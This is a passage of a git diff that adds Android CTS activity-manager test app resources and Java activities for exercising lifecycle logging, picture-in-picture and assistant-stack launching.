+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="@android:color/transparent">
+    <FrameLayout
+        android:layout_width="match_parent"
+        android:layout_height="250dp"
+        android:layout_gravity="bottom"
+        android:background="#0000FF"/>
+</FrameLayout>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml
new file mode 100644
index 0000000..a373740
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/floating.xml
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/popup_window"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:layout_gravity="bottom|center"
+    android:background="@android:color/white"
+    android:padding="10dp"
+    android:orientation="vertical">
+
+
+    <TextView
+        android:id="@+id/txt_backup"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:drawablePadding="15dp"
+        android:gravity="center_vertical"
+        android:padding="15dp"
+        android:text="Backup"
+        android:textAppearance="?android:attr/textAppearanceMedium" />
+
+    <TextView
+        android:id="@+id/txt_detail"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:drawablePadding="15dp"
+        android:gravity="center_vertical"
+        android:padding="15dp"
+        android:text="Detail"
+        android:textAppearance="?android:attr/textAppearanceMedium" />
+
+    <TextView
+        android:id="@+id/txt_open"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:drawablePadding="15dp"
+        android:gravity="center_vertical"
+        android:padding="15dp"
+        android:text="Open"
+        android:textAppearance="?android:attr/textAppearanceMedium" />
+
+    <TextView
+        android:id="@+id/txt_uninstall"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:drawablePadding="15dp"
+        android:gravity="center_vertical"
+        android:padding="15dp"
+        android:text="Uninstall"
+        android:textAppearance="?android:attr/textAppearanceMedium" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml
new file mode 100644
index 0000000..b789f84
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/font_scale.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:text="Font Scale"
+    android:textSize="10sp" />
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml
new file mode 100644
index 0000000..e675179
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/main.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+</RelativeLayout>
+
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
new file mode 100644
index 0000000..de52e61
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+</android.server.cts.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
new file mode 100644
index 0000000..b3f24a4
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/tap_to_finish_pip_layout.xml
@@ -0,0 +1,23 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/content"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#FF0000ff">
+</FrameLayout>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml
new file mode 100644
index 0000000..67e0b08
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/task_overlay.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:background="#800000ff">
+</FrameLayout>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml
new file mode 100644
index 0000000..09d76c0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/translucent.xml
@@ -0,0 +1,25 @@
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <View
+        android:layout_width="100dp"
+        android:layout_height="100dp"
+        android:layout_gravity="center"
+        android:background="#80ff0000"/>
+</FrameLayout>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml
new file mode 100644
index 0000000..d34b40a
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/virtual_display_layout.xml
@@ -0,0 +1,20 @@
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+</FrameLayout>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml
new file mode 100644
index 0000000..2a51310
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/colors.xml
@@ -0,0 +1,19 @@
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources>
+    <drawable name="red">#ff0000</drawable>
+</resources>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
new file mode 100644
index 0000000..5068ea9
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/values/styles.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2016 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<resources>
+    <style name="Theme.Transparent" parent="android:Theme">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowNoTitle">true</item>
+    </style>
+    <style name="WallpaperTheme">
+        <item name="android:windowShowWallpaper">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+    <style name="TranslucentTheme">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+    <style name="TranslucentWallpaperTheme">
+        <item name="android:windowShowWallpaper">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+    <style name="NoPreview">
+        <item name="android:windowDisablePreview">true</item>
+    </style>
+    <style name="SplashscreenTheme" parent="@android:style/Theme.Material.NoActionBar">
+        <item name="android:windowSplashscreenContent">@drawable/red</item>
+    </style>
+</resources>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
new file mode 100644
index 0000000..7cf92a0
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
+    android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
+    android:supportsAssist="true" />
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
new file mode 100644
index 0000000..333e0d2
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+import android.content.res.Configuration;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.util.DisplayMetrics;
+import android.util.Log;
+import android.view.Display;
+import android.view.WindowManager;
+
+public abstract class AbstractLifecycleLogActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        Log.i(getTag(), "onCreate");
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(getTag(), "onResume");
+    }
+
+    @Override
+    public void onConfigurationChanged(Configuration newConfig) {
+        super.onConfigurationChanged(newConfig);
+        Log.i(getTag(), "onConfigurationChanged");
+    }
+
+    @Override
+    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
+        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
+        Log.i(getTag(), "onMultiWindowModeChanged");
+    }
+
+    @Override
+    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
+            Configuration newConfig) {
+        super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
+        Log.i(getTag(), "onPictureInPictureModeChanged");
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+        Log.i(getTag(), "onPause");
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        Log.i(getTag(), "onStop");
+    }
+
+    @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        Log.i(getTag(), "onDestroy");
+    }
+
+    protected abstract String getTag();
+
+    protected void dumpConfiguration(Configuration config) {
+        Log.i(getTag(), "Configuration: " + config);
+    }
+
+    protected void dumpDisplaySize(Configuration config) {
+        // Dump the display size as seen by this Activity.
+        final WindowManager wm = getSystemService(WindowManager.class);
+        final Display display = wm.getDefaultDisplay();
+        final Point point = new Point();
+        display.getSize(point);
+        final DisplayMetrics metrics = getResources().getDisplayMetrics();
+
+        final String line = "config"
+                + " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp)
+                + " displaySize=" + buildCoordString(point.x, point.y)
+                + " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels)
+                + " smallestScreenWidth=" + config.smallestScreenWidthDp
+                + " densityDpi=" + config.densityDpi
+                + " orientation=" + config.orientation;
+
+        Log.i(getTag(), line);
+    }
+
+    protected static String buildCoordString(int x, int y) {
+        return "(" + x + "," + y + ")";
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
new file mode 100644
index 0000000..7bf847e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+/**
+ * An additional launching activity used for alternating between two activities.
+ */
+public class AltLaunchingActivity extends LaunchingActivity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
new file mode 100644
index 0000000..84b4b45
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.graphics.Rect;
+
+public class AlwaysFocusablePipActivity extends Activity {
+
+    static void launchAlwaysFocusablePipActivity(Activity caller) {
+        final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchBounds(new Rect(0, 0, 500, 500));
+        options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
new file mode 100644
index 0000000..5ae923e
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.app.Activity;
+
+public class AnimationTestActivity extends Activity {
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        overridePendingTransition(R.anim.animation_with_background, -1);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
new file mode 100644
index 0000000..18f290f
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class AssistantActivity extends Activity {
+
+    // Launches the given activity in onResume
+    public static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+    // Finishes this activity in onResume, this happens after EXTRA_LAUNCH_NEW_TASK
+    public static final String EXTRA_FINISH_SELF = "finish_self";
+    // Attempts to enter picture-in-picture in onResume
+    public static final String EXTRA_ENTER_PIP = "enter_pip";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        // Set the layout
+        setContentView(R.layout.assistant);
+
+        // Launch the new activity if requested
+        if (getIntent().hasExtra(EXTRA_LAUNCH_NEW_TASK)) {
+            Intent i = new Intent();
+            i.setComponent(new ComponentName(this, getPackageName() + "."
+                    + getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
+            i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
+            startActivity(i);
+        }
+
+        // Enter pip if requested
+        if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+            try {
+                enterPictureInPictureMode();
+            } catch (IllegalStateException e) {
+                finish();
+                return;
+            }
+        }
+
+        // Finish this activity if requested
+        if (getIntent().hasExtra(EXTRA_FINISH_SELF)) {
+            finish();
+        }
+    }
+
+    /**
+     * Launches a new instance of the AssistantActivity directly into the assistant stack.
+     */
+    static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+        final Intent intent = new Intent(caller, AssistantActivity.class);
+        intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+
+        final ActivityOptions options = ActivityOptions.makeBasic();
+        options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
+        caller.startActivity(intent, options.toBundle());
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
new file mode 100644
index 0000000..51c2348
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionService;
+import android.util.Log;
+
+public class AssistantVoiceInteractionService extends VoiceInteractionService {
+
+    private static final String TAG = AssistantVoiceInteractionService.class.getSimpleName();
+
+    private boolean mReady;
+
+    @Override
+    public void onReady() {
+        super.onReady();
+        mReady = true;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        if (!isActiveService(this, new ComponentName(this, getClass()))) {
+            Log.wtf(TAG, "**** Not starting AssistantVoiceInteractionService because" +
+                    " it is not set as the current voice interaction service");
+            stopSelf();
+            return START_NOT_STICKY;
+        }
+        if (mReady) {
+            Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
+            showSession(extras, 0);
+        }
+        return START_NOT_STICKY;
+    }
+
+    /**
+     * Starts the assistant voice interaction service, which initiates a new session that starts
+     * the assistant activity.
+     */
+    public static void launchAssistantActivity(Context context, Bundle extras) {
+        Intent i = new Intent(context, AssistantVoiceInteractionService.class);
+        if (extras != null) {
+            i.putExtras(extras);
+        }
+        context.startService(i);
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
new file mode 100644
index 0000000..e711ac4
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.service.voice.VoiceInteractionSession;
+import android.service.voice.VoiceInteractionSessionService;
+
+public class AssistantVoiceInteractionSessionService extends VoiceInteractionSessionService {
+
+    @Override
+    public VoiceInteractionSession onNewSession(Bundle args) {
+        return new VoiceInteractionSession(this) {
+            @Override
+            public void onPrepareShow(Bundle args, int showFlags) {
+                setUiEnabled(false);
+            }
+
+            @Override
+            public void onShow(Bundle args, int showFlags) {
+                Intent i = new Intent(AssistantVoiceInteractionSessionService.this,
+                        AssistantActivity.class);
+                if (args != null) {
+                    i.putExtras(args);
+                }
+                startAssistantActivity(i);
+            }
+        };
+    }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
new file mode 100644
index 0000000..38a71f1
--- /dev/null
+++ b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.cts;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.WindowManager;
+
+public class BottomActivity extends AbstractLifecycleLogActivity {
+
